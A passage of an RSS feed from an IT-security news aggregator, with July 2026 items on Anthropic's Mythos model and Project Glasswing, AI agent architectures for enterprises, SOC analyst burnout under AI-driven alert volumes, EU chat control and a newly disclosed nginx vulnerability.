adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[Mythos Didn't Break Your Security Program. Your Exposure Window Could.]]></title>
<description><![CDATA[The industry spent the initial months after Anthropic's April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long would it take adversaries to weaponize ...]]></description>
<link>https://tsecurity.de/de/3681211/it-security-nachrichten/mythos-didnt-break-your-security-program-your-exposure-window-could/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681211/it-security-nachrichten/mythos-didnt-break-your-security-program-your-exposure-window-could/</guid>
<pubDate>Mon, 20 Jul 2026 15:09:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The industry spent the initial months after Anthropic's April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long would it take adversaries to weaponize Mythos findings at scale? Those questions were and remain valid. Yet they all stop short of]]></content:encoded>
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<title><![CDATA[Mythos Didn’t Break Your Security Program. Your Exposure Window Could.]]></title>
<description><![CDATA[The industry spent the initial months after Anthropic’s April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long…
Read more →
The post Mythos Didn’t Bre...]]></description>
<link>https://tsecurity.de/de/3681195/it-security-nachrichten/mythos-didnt-break-your-security-program-your-exposure-window-could/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681195/it-security-nachrichten/mythos-didnt-break-your-security-program-your-exposure-window-could/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The industry spent the initial months after Anthropic’s April 7 Mythos reveal focused on volume. How many new CVEs would Mythos add to an already overloaded pipeline? How quickly would the flood of AI-driven discovery overwhelm triage capabilities? How long…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/mythos-didnt-break-your-security-program-your-exposure-window-could/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/mythos-didnt-break-your-security-program-your-exposure-window-could/">Mythos Didn’t Break Your Security Program. Your Exposure Window Could.</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[IT Security News Hourly Summary 2026-07-20 15h : 4 posts]]></title>
<description><![CDATA[4 posts were published in the last hour 13:4 : Mythos Didn’t Break Your Security Program. Your Exposure Window Could. 13:4 : Russian Intelligence Hacks IP Cameras to Spy on Military Logistics Across NATO States and Ukraine 12:34 : The…
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The post IT Security News Hourly Summary 2026-07-...]]></description>
<link>https://tsecurity.de/de/3681194/it-security-nachrichten/it-security-news-hourly-summary-2026-07-20-15h-4-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681194/it-security-nachrichten/it-security-news-hourly-summary-2026-07-20-15h-4-posts/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>4 posts were published in the last hour 13:4 : Mythos Didn’t Break Your Security Program. Your Exposure Window Could. 13:4 : Russian Intelligence Hacks IP Cameras to Spy on Military Logistics Across NATO States and Ukraine 12:34 : The…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-20-15h-4-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-20-15h-4-posts/">IT Security News Hourly Summary 2026-07-20 15h : 4 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[In Deutschland bringt dieser Geldautomaten-Trick nichts – im Urlaub kann er euer Geld retten]]></title>
<description><![CDATA[Ein Moment der Unsicherheit, ein fremdes „Darf ich helfen?“ – und plötzlich ist euer Konto leer. Ein Tipp, der gerade in sozialen Netzwerken die Runde macht, verspricht eine einfache Lösung: Nach jeder Abhebung soll man die rote „Abbruch“-Taste drücken, um die Sitzung sicher zu beenden. Doch was ...]]></description>
<link>https://tsecurity.de/de/3681172/it-nachrichten/in-deutschland-bringt-dieser-geldautomaten-trick-nichts-im-urlaub-kann-er-euer-geld-retten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681172/it-nachrichten/in-deutschland-bringt-dieser-geldautomaten-trick-nichts-im-urlaub-kann-er-euer-geld-retten/</guid>
<pubDate>Mon, 20 Jul 2026 14:54:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein Moment der Unsicherheit, ein fremdes „Darf ich helfen?“ – und plötzlich ist euer Konto leer. Ein Tipp, der gerade in sozialen Netzwerken die Runde macht, verspricht eine einfache Lösung: Nach jeder Abhebung soll man die rote „Abbruch“-Taste drücken, um die Sitzung sicher zu beenden. Doch was ist an diesem Ratschlag wirklich dran? Während der Tipp für Deutschland ein Mythos ist, kann er in anderen Situationen Gold wert sein. Wir erklären euch, was ihr wirklich wissen müsst.]]></content:encoded>
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<title><![CDATA[Sophos joins Anthropic's Project Glasswing]]></title>
<description><![CDATA[As a Project Glasswing member, Sophos gains access to Claude Mythos 5, an advanced frontier model not currently available to the public, to find and fix software vulnerabilities before AI-driven attackers can exploit them.]]></description>
<link>https://tsecurity.de/de/3681121/it-security-nachrichten/sophos-joins-anthropics-project-glasswing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681121/it-security-nachrichten/sophos-joins-anthropics-project-glasswing/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As a Project Glasswing member, Sophos gains access to Claude Mythos 5, an advanced frontier model not currently available to the public, to find and fix software vulnerabilities before AI-driven attackers can exploit them.</p>]]></content:encoded>
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<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Chatkontrolle: Liest der Staat bald mit? Wir klären den Mythos auf]]></title>
<description><![CDATA[Liest der Staat bald eure WhatsApp-Nachrichten mit? Die geplante Chatkontrolle spaltet Europa: Für die einen ist sie die Waffe gegen Kindesmissbrauch, für die anderen der Einstieg in die To­tal­über­wa­chung. Was wirklich dahintersteckt - und was auf euch zukommt.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3680622/it-security-nachrichten/chatkontrolle-liest-der-staat-bald-mit-wir-klaeren-den-mythos-auf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680622/it-security-nachrichten/chatkontrolle-liest-der-staat-bald-mit-wir-klaeren-den-mythos-auf/</guid>
<pubDate>Mon, 20 Jul 2026 10:52:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/faq/351"><img hspace="5" border="0" align="left" alt="Sicherheit, Datenschutz, Messenger, Privatsphäre, überwachung, Verschlüsselung, Instant Messaging, Cybersecurity, Cybercrime, Internetkriminalität, Chatkontrolle" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/92145.jpg"></a>
			Liest der Staat bald eure WhatsApp-Nachrichten mit? Die geplante Chatkontrolle spaltet Europa: Für die einen ist sie die Waffe gegen Kindesmissbrauch, für die anderen der Einstieg in die To­tal­über­wa­chung. Was wirklich dahintersteckt - und was auf euch zukommt.			(<a href="https://winfuture.de/faq/351">Weiter lesen</a>)]]></content:encoded>
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<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
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<title><![CDATA[CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw]]></title>
<description><![CDATA[A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patc...]]></description>
<link>https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</guid>
<pubDate>Mon, 20 Jul 2026 08:52:32 +0200</pubDate>
